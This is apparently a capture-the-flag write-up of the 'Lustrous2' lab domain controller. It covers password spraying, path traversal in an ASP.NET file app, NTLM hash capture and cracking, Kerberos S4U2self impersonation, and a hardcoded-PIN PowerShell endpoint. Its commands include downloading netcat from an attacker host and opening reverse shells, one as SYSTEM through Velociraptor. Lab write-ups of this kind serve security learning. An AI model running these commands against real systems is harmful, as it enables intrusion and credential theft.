Summary
This box is a Windows Active Directory domain controller that only accepts Kerberos authentication (NTLM is disabled). Initial access starts with anonymous FTP exposing a valid username list, which combined with a predictable "machine-name + year" password guess yields one working AD credential. That account can't touch LDAP over plaintext (signing enforced) but works fine once Kerberos is set up properly on the attack box.
The real entry point is an internal IIS/ASP.NET Core file-sharing app ("LuShare") that uses Windows/Kerberos "Negotiate" auth - it only shows up once Kerberos is configured correctly, not a normal 404/anonymous site. The app has a path-traversal download endpoint (LFI), which is used to pull web.config and the compiled application DLL. Decompiling the DLL reveals a hidden /File/Debug endpoint that runs raw PowerShell if you know a hardcoded PIN found in the source.
That gives command execution as a low-privileged service account (ShareSvc). Coercing that service account to authenticate to a listener (via the app's own download-by-UNC-path behavior) captures its NetNTLMv2 hash, which cracks quickly against a wordlist. With the cracked password we abuse Kerberos S4U2self to impersonate a domain-admin-equivalent user against the web app's own service, regaining admin access to the "Debug" RCE endpoint (which was otherwise gated to admins).
From there, command length limits are worked around by dropping a netcat binary to disk and using it for a full reverse shell. On the box, a locally installed Velociraptor DFIR server is misconfigured with a world-readable install directory, which is not the intended ACL. Velociraptor's own execve() VQL query is used to run commands as NT AUTHORITY\SYSTEM, finishing the box.
Recon
Nmap
nmap -A -p- machine-ip -oA nmap
| Port(s) | Service | Notes |
|---|---|---|
| 21 | FTP | Microsoft ftpd, anonymous login allowed |
| 53 | DNS | Simple DNS Plus |
| 80 / 5985 | HTTP | Microsoft IIS 10.0 / HTTPAPI 2.0 — "Negotiate"-only (Kerberos, no NTLM) |
| 88 | Kerberos | Microsoft Windows Kerberos |
| 135 / 139 / 445 | RPC / SMB |
microsoft-ds, signing required
|
| 389 / 636 / 3268 / 3269 | LDAP / LDAPS / GC | Domain: Lustrous2.vl
|
| 464 | kpasswd5 | Kerberos password change |
| 3389 | RDP | Microsoft Terminal Services |
| 9389 | AD Web Services | .NET Message Framing |
SMB signing is enforced (Message signing enabled and required). The LDAPS/GC certificates confirm the domain name Lustrous2.vl and DC hostname LUS2DC.Lustrous2.vl.
Port 80 specifically returned:
80/tcp open http Microsoft IIS httpd 10.0
|_http-title: Site doesn't have a title.
| http-auth:
| HTTP/1.1 401 Unauthorized\x0D
|_ Negotiate
The site is returning a 401 Unauthorized status with a WWW-Authenticate: Negotiate header on every request. This is a strong signal the web app only accepts Kerberos (SPNEGO/Negotiate) auth - plain anonymous or NTLM requests will always get bounced with 401 Unauthorized. Browsing to it directly (below) confirms this - Firefox shows a generic "problem with this site / 401 Unauthorized" page, which can easily look like a dead or misconfigured site if you don't realize Kerberos is the reason:
http://lustrous2.vl/ → "Looks like there's a problem with this site... Error code: 401 Unauthorized"
Anonymous FTP — full session
ftp machine-ip
Connected to machine-ip.
220 Microsoft FTP Service
Name (machine-ip:kali): anonymous
331 Anonymous access allowed, send identity (e-mail name) as password.
Password:
230 User logged in.
Remote system type is Windows_NT.
ftp> prompt off
Interactive mode off.
ftp> ls
09-06-24 05:20AM <DIR> Development
04-14-25 04:44AM <DIR> Homes
08-31-24 01:57AM <DIR> HR
08-31-24 01:57AM <DIR> IT
04-14-25 04:44AM <DIR> ITSEC
08-31-24 01:58AM <DIR> Production
08-31-24 01:58AM <DIR> SEC
226 Transfer complete.
HR, IT, and Production turned out to be empty. ITSEC had one file:
ftp> cd ITSEC
250 CWD command successful.
ftp> ls
09-07-24 03:50AM 207 audit_draft.txt
226 Transfer complete.
ftp> get audit_draft.txt
226 Transfer complete.
207 bytes received in 00:00 (0.74 KiB/s)
Contents:
cat audit_draft.txt
Audit Report Issue Tracking
[Fixed] NTLM Authentication Allowed
[Fixed] Signing & Channel Binding Not Enabled
[Fixed] Kerberoastable Accounts
[Fixed] SeImpersonate Enabled
[Open] Weak User Passwords
This is essentially a hint sheet: NTLM is dead here (confirms the 401/Negotiate behavior), but weak passwords are still an open issue - a strong pointer toward password guessing/spraying.
Then Homes, which turned out to hold one (empty) directory per domain user - effectively a leaked username list:
ftp> cd Homes
250 CWD command successful.
ftp> ls
09-07-24 12:03AM <DIR> Aaron.Norman
09-07-24 12:03AM <DIR> Adam.Barnes
09-07-24 12:03AM <DIR> Amber.Ward
... [69 more directories, one per user — all empty]
09-07-24 12:03AM <DIR> Wayne.Taylor
226 Transfer complete.
Pulling the username list cleanly
Rather than eyeballing the ls output, the directory names were pulled programmatically with a heredoc FTP session and nlist, and saved to users.txt:
ftp -inv machine-ip <<EOF | tee users.txt
user anonymous ""
cd Homes
nlist
bye
EOF
Connected to machine-ip.
220 Microsoft FTP Service
331 Anonymous access allowed, send identity (e-mail name) as password.
230 User logged in.
Remote system type is Windows_NT.
250 CWD command successful.
125 Data connection already open; Transfer starting.
Aaron.Norman
Adam.Barnes
... [69 more names]
Wayne.Taylor
226 Transfer complete.
221 Goodbye.
The raw users.txt also contains the FTP banner/status lines mixed in with the names (since tee captured everything printed to the terminal), so it was filtered down to just valid Firstname.Lastname / ShareSvc-style entries with grep - this is the command used to build the clean user.txt list used for the rest of the attack:
grep -E '^[A-Za-z]+\.[A-Za-z]+$|^ShareSvc$' users.txt > user.txt
Result: 71 clean usernames in user.txt.
Username validation
kerbrute userenum -d lustrous2.vl --dc lus2dc.lustrous2.vl user.txt
2026/07/01 06:35:02 > Using KDC(s):
2026/07/01 06:35:02 > lus2dc.lustrous2.vl:88
2026/07/01 06:35:03 > [+] VALID USERNAME: Aaron.Norman@lustrous2.vl
2026/07/01 06:35:03 > [+] VALID USERNAME: Andrea.Smith@lustrous2.vl
... [69 more valid hits]
2026/07/01 06:35:05 > Done! Tested 71 usernames (71 valid) in 2.722 seconds
kerbrute confirms usernames by checking which ones return a valid Kerberos pre-auth response - no password needed. All 71 candidates pulled from FTP came back as valid usernames, confirming the FTP folder list is a genuine (if accidental) user directory.
Initial Foothold — Password Guessing
Since the audit note explicitly flagged "Weak User Passwords" as still open, and the box was built in 2024, a classic pattern was tried: <MachineName><Year>. A few guesses were tried (Lustroustwo2024, LustrousTwo2024, Lustroustwo2024) before landing on the right casing:
kerbrute passwordspray -d lustrous2.vl --dc lus2dc.lustrous2.vl user.txt Lustrous2024
2026/07/01 07:37:47 > Using KDC(s):
2026/07/01 07:37:47 > lus2dc.lustrous2.vl:88
2026/07/01 07:37:51 > [+] VALID LOGIN: Thomas.Myers@lustrous2.vl:Lustrous2024
2026/07/01 07:37:51 > Done! Tested 71 logins (1 successes) in 4.239 seconds
Thomas.Myers : Lustrous2024 - one valid hit out of 71 accounts, in a single spray attempt (not a brute force - a targeted guess based on the naming convention hint from the audit file).
Confirmed over SMB - note NTLM fails outright (as the audit predicted) but Kerberos (-k) works:
nxc smb machine-ip -u Thomas.Myers -p Lustrous2024
SMB machine-ip 445 LUS2DC [*] x64 (name:LUS2DC) (domain:Lustrous2.vl) (signing:True) (SMBv1:None) (NTLM:False)
SMB machine-ip 445 LUS2DC [-] Lustrous2.vl\Thomas.Myers:Lustrous2024 STATUS_NOT_SUPPORTED
nxc smb machine-ip -u Thomas.Myers -p Lustrous2024 -k
SMB machine-ip 445 LUS2DC [*] x64 (name:LUS2DC) (domain:Lustrous2.vl) (signing:True) (SMBv1:None) (NTLM:False)
SMB machine-ip 445 LUS2DC [+] Lustrous2.vl\Thomas.Myers:Lustrous2024
Shares available to this user were limited to the defaults (IPC$, NETLOGON, SYSVOL) - nothing extra to read here.
Getting Kerberos working properly
LDAP enumeration with plain credentials failed (signing is enforced), so a proper Kerberos ticket was needed:
impacket-getTGT lustrous2.vl/Thomas.Myers:Lustrous2024
export KRB5CCNAME=Thomas.Myers.ccache
BloodHound collection was run using that ticket:
bloodhound-python -u Thomas.Myers -k -no-pass -d lustrous2.vl -dc lus2dc.lustrous2.vl -ns machine-ip -c All --zip
INFO: Found AD domain: lustrous2.vl
WARNING: LDAP Authentication is refused because LDAP signing is enabled. Trying to connect over LDAPS instead...
INFO: Found 4 computers
INFO: Found 75 users
INFO: Found 54 groups
INFO: Found 2 gpos / 2 ous / 19 containers / 0 trusts
INFO: Compressing output into 20260701074404_bloodhound.zip
Ingested into BloodHound and marked Thomas.Myers as Owned. At this point there wasn't much of an obvious privesc path directly from BloodHound — the useful leads came from the file server itself.
Reaching the Web App (Kerberos SPN gotcha)
Visiting http://lustrous2.vl in a browser just showed 401 Unauthorized - the page literally reads "Looks like there's a problem with this site... Error code: 401 Unauthorized". It looks broken, but this is expected: the site demands SPNEGO/Kerberos "Negotiate" auth that a browser without a valid domain Kerberos ticket can't satisfy (background: see the referenced woshub article on IIS Kerberos auth, "Configuring Kerberos Authentication on IIS Website").
Getting curl --negotiate to actually succeed took some troubleshooting. A working /etc/hosts and a ticket for Thomas.Myers weren't enough — the request kept failing with a "server not found in Kerberos database" style error even though the ticket cache clearly had a valid ticket.
Root cause: /etc/hosts mapped all three names (lustrous2.vl, lus2dc.lustrous2.vl, LUS2DC.lustrous2.vl) to the same IP. MIT Kerberos's default reverse-DNS canonicalization (rdns) rewrote the target hostname used to build the Kerberos Service Principal Name (SPN) down to just lustrous2.vl — but the actual SPN registered in the KDC is HTTP/lus2dc.lustrous2.vl. So curl was requesting a ticket for a service that doesn't exist, instead of reusing the cached (correct) one.
Fix — disable that canonicalization in /etc/krb5.conf:
[libdefaults]
dns_lookup_kdc = false
dns_lookup_realm = false
default_realm = LUSTROUS2.VL
rdns = false
dns_canonicalize_hostname = false
[realms]
LUSTROUS2.VL = {
kdc = lus2dc.lustrous2.vl
admin_server = lus2dc.lustrous2.vl
default_domain = Lustrous2.vl
}
[domain_realm]
.Lustrous2.vl = LUSTROUS2.VL
Lustrous2.vl = LUSTROUS2.VL
rdns = false stops the reverse-DNS lookup that was collapsing the hostname, and dns_canonicalize_hostname = false stops Kerberos from doing its own forward-DNS canonicalization pass on top of that - together they force curl's GSSAPI layer to build the SPN literally from the hostname typed in the URL (lus2dc.lustrous2.vl), matching what's actually registered in the KDC.
After that, kinit + curl --negotiate succeeded:
curl -I --negotiate -u : http://lus2dc.lustrous2.vl/
HTTP/1.1 200 OK
Server: Microsoft-IIS/10.0
WWW-Authenticate: Negotiate ...
X-Powered-By: ASP.NET
Fetching the page (no more 401) showed an internal file-sharing app called LuShare, greeting "Well met, LUSTROUS2\Thomas.Myers!" and listing one downloadable file, audit.txt (same content as the FTP copy).
LFI in the Download Endpoint
The download link took a raw fileName query parameter with no path sanitization:
curl --negotiate -u : 'http://lus2dc.lustrous2.vl/File/Download?filename=..\..\..\..\Windows\win.ini'
; for 16-bit app support
[fonts]
[extensions]
[mci extensions]
[files]
[Mail]
MAPI=1
This confirmed an unauthenticated-to-anyone-logged-in path traversal / arbitrary file read. It also became clear that the download logic could be pointed at a UNC path (\\attacker-ip\share\x), meaning the server itself would attempt to reach out over SMB to a path we control - a classic NTLM auth coercion primitive.
Capturing and Cracking the Service Account's Hash
To catch that inbound SMB authentication attempt, a responder listener was started first:
sudo responder -I tun0
[+] Poisoners: LLMNR [ON] NBT-NS [ON] MDNS [ON] DNS [ON]
[+] Servers: SMB server [ON] HTTP server [ON] Kerberos server [ON]
[+] Listening for events...
Then the download endpoint was pointed at the listener's IP as a UNC path:
curl --negotiate -u : 'http://lus2dc.lustrous2.vl/File/Download?filename=//your-ip/share/x'
The IIS app (running as its own service account, not us) tried to authenticate to that path over SMB, and Responder captured a NetNTLMv2 hash for LUSTROUS2\ShareSvc:
[SMB] NTLMv2-SSP Client : machine-ip
[SMB] NTLMv2-SSP Username : LUSTROUS2\ShareSvc
[SMB] NTLMv2-SSP Hash : ShareSvc::LUSTROUS2:<redacted-challenge>:<redacted-response-blob>
This is a NetNTLMv2 challenge/response, not the account's raw password hash — it's cryptographic proof of the password tied to a random challenge, generated fresh on each auth attempt. It can't be replayed directly (no pass-the-hash), but it can be cracked offline by trying candidate passwords against the same challenge/response math. It was saved to a file and fed to john:
cat > svc.hash << 'EOF'
ShareSvc::LUSTROUS2:<redacted-hash>
EOF
john --wordlist=/usr/share/wordlists/rockyou.txt svc.hash
Using default input encoding: UTF-8
Loaded 1 password hash (netntlmv2, NTLMv2 C/R [MD4 HMAC-MD5 32/64])
1g 0:00:00:06 DONE (2026-07-01 08:54) 0.1587g/s 2275Kp/s 2275Kc/s 2275KC/s
john recovered a valid plaintext password for ShareSvc (redacted) in about 6 seconds — a weak, wordlist-guessable password. Confirmed over SMB with Kerberos:
nxc smb lus2dc.lustrous2.vl -u ShareSvc -p '<redacted>' -k
SMB lus2dc.lustrous2.vl 445 lus2dc [+] lustrous2.vl\ShareSvc:<redacted>
ShareSvc itself had no interesting group memberships or share access in BloodHound, so this password is a dead end on its own — but it becomes very useful once the app's admin-gated /File/Debug backdoor is found below, via a Kerberos delegation trick.
Pulling the app's own source
Rather than guess at the app's logic, its own files were read off disk via the LFI:
curl --negotiate -u : 'http://lus2dc.lustrous2.vl/File/Download?filename=../../web.config'
<?xml version="1.0" encoding="utf-8"?>
<configuration>
<location path="." inheritInChildApplications="false">
<system.webServer>
<handlers>
<add name="aspNetCore" path="*" verb="*" modules="AspNetCoreModuleV2" resourceType="Unspecified" />
</handlers>
<aspNetCore processPath="dotnet" arguments=".\LuShare.dll" ... hostingModel="inprocess" />
</system.webServer>
</location>
</configuration>
<!--ProjectGuid: 4E46018E-B73C-4E7B-8DA2-87855F22435A-->
This confirmed the app is an ASP.NET Core app run in-process by IIS as LuShare.dll. That DLL was then pulled the same way and saved locally:
curl --negotiate -u : 'http://lus2dc.lustrous2.vl/File/Download?filename=../../LuShare.dll' --output LuShare.dll
file LuShare.dll
LuShare.dll: PE32 executable for MS Windows 4.00 (console), Intel i386 Mono/.Net assembly, 3 sections
Decompiled with ilspycmd:
ilspycmd LuShare.dll -o lushare-decompiled
What the source revealed
The site has an /File/Upload and a hidden /File/Debug action, both restricted to the ShareAdmins AD role. In _Layout.cshtml, the Debug nav link is present in the code but wrapped in an HTML comment, so it never renders in the UI even for admins - you'd only find it by reading the source:
<!--
<li class="nav-item">
<a class="nav-link" href="...Debug">Debug</a>
</li>
-->
The two vulnerable controller actions in FileController.cs, trimmed to the relevant parts:
1. Download — no path sanitization (the LFI root cause):
public IActionResult Download(string fileName)
{
if (string.IsNullOrEmpty(fileName))
return NotFound();
string path = Path.Combine(_uploadFolder, fileName); // fileName is trusted as-is — "..\..\" and
// UNC paths ("\\host\share\x") both pass through
if (!System.IO.File.Exists(path))
return NotFound();
...
return File(memoryStream, "application/octet-stream", fileName);
}
2. Debug — hardcoded PIN gating raw PowerShell execution:
[Authorize(Roles = "ShareAdmins")]
[HttpPost]
public IActionResult Debug(string command, string pin)
{
string text = "ba45c518"; // <-- the PIN is hardcoded, baked straight into the compiled DLL
if (string.IsNullOrWhiteSpace(command) || command.Length > 100)
return BadRequest("Invalid or too long command.");
if (string.IsNullOrWhiteSpace(pin) || pin != text)
return BadRequest("Invalid PIN.");
PowerShell val = PowerShell.Create();
val.Runspace.SessionStateProxy.LanguageMode = (PSLanguageMode)3; // FullLanguage — no constrained-language sandboxing
val.AddScript(command, false); // <-- caller-supplied command executed verbatim
Collection<PSObject> collection = val.Invoke();
...
}
Because the PIN check is pin != text against a value compiled straight into the DLL, reading the decompiled source is enough to fully bypass what looks like an access control - it's not a secret held server-side in config, it's shipped in the binary itself. Combined with [Authorize(Roles = "ShareAdmins")], the only real barrier left is being a member of ShareAdmins - and BloodHound confirmed that group has exactly two members: Ryan.Davies and Sharon.Birch, neither of whom we had credentials for yet.
Privilege Escalation to ShareAdmins via Kerberos S4U2self
ShareSvc runs the web app's service and — per BloodHound's node data on Ryan.Davies and Sharon.Birch — those two accounts were both marked sensitive but not protected from delegation. This allows requesting a service ticket as if we were Ryan.Davies, for the service that ShareSvc itself owns (HTTP/lus2dc.lustrous2.vl) - a Kerberos S4U2self impersonation.
impacket-getST -self -impersonate ryan.davies -k \
'LUSTROUS2.VL/ShareSvc:<redacted-password>' \
-altservice HTTP/lus2dc.lustrous2.vl -no-pass
Impacket v0.14.0.dev0
[*] Getting TGT for user
[*] Impersonating ryan.davies
[*] Requesting S4U2self
[*] Changing service from ShareSvc@LUSTROUS2.VL to HTTP/lus2dc.lustrous2.vl@LUSTROUS2.VL
[*] Saving ticket in ryan.davies@HTTP_lus2dc.lustrous2.vl@LUSTROUS2.VL.ccache
Loading that ticket:
export KRB5CCNAME=/tmp/ryan.ccache
klist
Ticket cache: FILE:/tmp/ryan.ccache
Default principal: ryan.davies@LUSTROUS2.VL
Valid starting Expires Service principal
07/01/2026 09:59:58 07/01/2026 19:59:58 HTTP/lus2dc.lustrous2.vl@LUSTROUS2.VL
To make sure curl's GSSAPI layer reliably picked up this impersonated ticket instead of falling back to whatever cache it found first, a default ccache path was pinned in /etc/krb5.conf:
[libdefaults]
default_realm = LUSTROUS2.VL
dns_lookup_kdc = false
dns_lookup_realm = false
dns_canonicalize_hostname = false
rdns = false
default_ccache_name = FILE:/home/kali/krb5cc
Using this ticket against the web app now shows the Upload nav link and the hidden Debug page - because Ryan.Davies is a member of ShareAdmins:
curl --negotiate -u : 'http://lus2dc.lustrous2.vl'
<p class="nav navbar-text">Well met, LUSTROUS2\Ryan.Davies!</p>
...
<a class="nav-link" href="/File/Upload">Upload</a>
RCE via the /File/Debug Backdoor
With admin-role access and the hardcoded PIN recovered from the decompiled source, arbitrary PowerShell now executes as the app's service account:
curl --negotiate -u : -X POST 'http://lus2dc.lustrous2.vl/File/Debug' \
-d "pin=<redacted-pin>" -d "command=whoami"
lustrous2\sharesvc
Basic recon of the filesystem through this channel:
curl --negotiate -u : -X POST 'http://lus2dc.lustrous2.vl/File/Debug' \
-d "pin=<redacted-pin>" -d 'command=ls C:\'
C:\datastore
C:\inetpub
C:\PerfLogs
C:\Program Files
C:\Program Files (x86)
C:\Public
C:\temp
C:\Users
C:\Windows
C:\user_<redacted>.txt
C:\datastore immediately stood out as a non-standard, top-level directory — that's not something Windows creates by default, and it hinted a non-standard service had been installed here. That single directory name is what pointed the rest of the enumeration toward C:\Program Files, where a locally installed Velociraptor DFIR/endpoint-management server was found (full details in the next section).
The user flag was read through the same channel:
curl --negotiate -u : -X POST 'http://lus2dc.lustrous2.vl/File/Debug' \
-d "pin=<redacted-pin>" -d 'command=type C:\user_<redacted>.txt'
<user flag, redacted>
The 100-character command cap made anything more than simple commands (e.g. base64-encoded PowerShell reverse shells) fail:
curl ... -d 'command=powershell -e <long base64 payload>'
Invalid or too long command.
So a short two-step approach was used instead: download a netcat binary, then execute it directly (short enough to fit the limit):
curl --negotiate -u : -X POST 'http://lus2dc.lustrous2.vl/File/Debug' -d "pin=<redacted-pin>" -d 'command=mkdir C:\temp'
curl --negotiate -u : -X POST 'http://lus2dc.lustrous2.vl/File/Debug' -d "pin=<redacted-pin>" -d 'command=iwr http://your-ip/nc64.exe -OutFile C:\temp\nc64.exe'
curl --negotiate -u : -X POST 'http://lus2dc.lustrous2.vl/File/Debug' -d "pin=<redacted-pin>" -d 'command=cmd /c C:\temp\nc64.exe your-ip 4444 -e powershell'
This popped a full interactive reverse shell:
whoami
lustrous2\sharesvc
SYSTEM via Velociraptor
Following the lead from the unusual C:\datastore directory, C:\Program Files was checked for what might own it:
dir C:\"Program Files"
C:\Program Files\Amazon
C:\Program Files\Common Files
C:\Program Files\dotnet
C:\Program Files\IIS
C:\Program Files\Internet Explorer
C:\Program Files\ModifiableWindowsApps
C:\Program Files\Velociraptor
C:\Program Files\VelociraptorServer
C:\Program Files\VMware
C:\Program Files\Windows Defender
...
Velociraptor is an open-source DFIR/endpoint-monitoring platform (background: see the referenced hackingarticles.in post, "Threat Hunting: Velociraptor for Endpoint Monitoring"). If its server config or API access can be reached, it typically allows running arbitrary VQL queries - including shell-out queries - as whatever account the Velociraptor service runs as, which on a server install is usually very highly privileged. C:\Program Files\Velociraptor itself denied access:
dir C:\"Program Files\Velociraptor"
Errors:
Access to the path 'C:\Program Files\Velociraptor' is denied.
...but the sibling VelociraptorServer directory was readable and contained client.config.yaml and server.config.yaml:
dir C:\"Program Files\VelociraptorServer"
C:\Program Files\VelociraptorServer\client.config.yaml
C:\Program Files\VelociraptorServer\server.config.yaml
C:\Program Files\VelociraptorServer\velociraptor-v0.72.4-windows-amd64.exe
Both YAML files were readable by ShareSvc. server.config.yaml embeds the CA certificate/key, GUI TLS cert/key, and the admin's password hash + salt - none of which were directly needed, since a config-based API client could be minted locally instead using the server config's own CA trust:
.\velociraptor-v0.72.4-windows-amd64.exe --config server.config.yaml config api_client \
--name admin --role administrator \programdata\api.config.yaml
[ERROR] Unable to open file \\?\c:\datastore\config\inventory.json.db: Access is denied.
Creating API client file on \programdata\api.config.yaml.
[ERROR] Unable to open file \\?\c:\datastore\acl\admin.json.db: Access is denied.
velociraptor-v0.72.4-windows-amd64.exe: error: config api_client: Unable to set role ACL: Access is denied.
This threw Access is denied errors trying to update the datastore ACL files (C:\datastore\config\inventory.json.db, C:\datastore\acl\admin.json.db) - but it still successfully wrote out a usable api.config.yaml API client credential file before hitting those permission errors. In other words, the datastore's ACL enforcement files were locked down, but the client-credential-minting step ran first and succeeded regardless.
With that API config, Velociraptor's own query engine confirms host info and privilege level:
.\velociraptor-v0.72.4-windows-amd64.exe --api_config \programdata\api.config.yaml query "SELECT * FROM info()" --format jsonl
{"Hostname":"LUS2DC","OS":"windows","Platform":"Microsoft Windows Server 2022 Standard","IsAdmin":true,"Fqdn":"LUS2DC.Lustrous2.vl","Architecture":"amd64"}
Then a direct command execution query:
.\velociraptor-v0.72.4-windows-amd64.exe --api_config \programdata\api.config.yaml query \
"SELECT * FROM execve(argv=['powershell','-c','whoami'])"
[{"Stdout":"nt authority\\system\r\n","Stderr":"","ReturnCode":0,"Complete":true}]
Confirmed SYSTEM. The same execve() VQL primitive was used to launch a full reverse shell:
.\velociraptor-v0.72.4-windows-amd64.exe --api_config \programdata\api.config.yaml query \
"SELECT * FROM execve(argv=['C:\\temp\\nc64.exe','-e','powershell','your-ip','3333'])"
Caught a shell as nt authority\system:
whoami
nt authority\system
Root flag:
cd C:\Users\Administrator\Desktop
type root.txt
<root flag, redacted>
Attack Chain (End to End)
-
Recon — Nmap shows a Kerberos-only AD DC; IIS site returns
401 UnauthorizedwithNegotiate. - Anonymous FTP leaks a full valid AD username list plus an audit note that flags weak passwords as an unresolved issue.
- Kerbrute confirms all 71 harvested usernames are real accounts.
-
Password guess (
Lustrous2024, following a<name><year>pattern) cracksThomas.Myers. - Fix local Kerberos SPN canonicalization (
rdns = false) so the DC's Kerberos-protected web app becomes reachable at all. - Discover the LuShare internal file app; abuse a path traversal in the download endpoint to read arbitrary files.
- Trigger that same download endpoint against a UNC path, coercing the app's
ShareSvcservice account to authenticate to a Responder listener; capture and crack its NetNTLMv2 hash. - Use the LFI to pull
web.configand the compiledLuShare.dll, then decompile it - revealing a hidden/File/DebugPowerShell-execution endpoint gated by a hardcoded PIN andShareAdminsgroup membership. - Use
ShareSvc's recovered password to perform a Kerberos S4U2self impersonation ofRyan.Davies(aShareAdminsmember), gaining admin-role access to the app without his password. - Use the now-accessible
/File/Debugendpoint + hardcoded PIN to get PowerShell RCE asShareSvc; spot the non-standardC:\datastoredirectory; work around the 100-char limit by stagingnc64.exefor a full reverse shell. - Follow the
C:\datastorelead intoC:\Program Filesand find a misconfigured local Velociraptor server install; mint an API client credential and use Velociraptor'sexecve()VQL query to run commands (and a reverse shell) as NT AUTHORITY\SYSTEM. - Read
root.txt- box complete.
Key Vulnerabilities / Root Causes
-
Anonymous FTP on the DC leaking a full internal username list (
Homesshare directory names) and an internal audit note. -
Predictable AD password (
<MachineName><Year>pattern) - one account crackable by guessing, not brute force. -
Kerberos-only web app misconfigured for discovery - a working site was returning
401 UnauthorizedwithNegotiateand looked broken/dead until Kerberos SPN resolution was fixed client-side (DNS canonicalization issue). - Path traversal / LFI in the file-download feature of the internal "LuShare" app — arbitrary file read as any authenticated domain user, including the app's own compiled binary and config.
-
Hardcoded debug backdoor (
/File/Debug) in the shipped code - accepts a static, hardcoded PIN and executes arbitrary PowerShell, restricted only by an[Authorize(Roles = "ShareAdmins")]check and a 100-character command length cap. - NTLM authentication coercion - the app's download endpoint would reach out to attacker-supplied UNC paths, letting the service account's NetNTLMv2 hash be captured with Responder.
- Weak service account password, cracked from the captured hash in seconds.
- Kerberos S4U2self abuse - the service account can request tickets "as" other users for its own service, which was leveraged to escalate to an admin group member of the web app.
-
Insecure Velociraptor deployment - SYSTEM-level DFIR/endpoint-management tool installed with an accessible config directory (
C:\datastoreat the OS root) and API config, giving trivialSYSTEMcommand execution once local access was gained.
References
-
Configuring Kerberos Authentication on IIS Website — Windows OS Hub — background on why the site only responds to
Negotiate/Kerberos and how SPNs are resolved. -
Threat Hunting: Velociraptor for Endpoint Monitoring — hackingarticles.in — background on Velociraptor's architecture and query interface, used to identify the
execve()privesc path.
Top comments (0)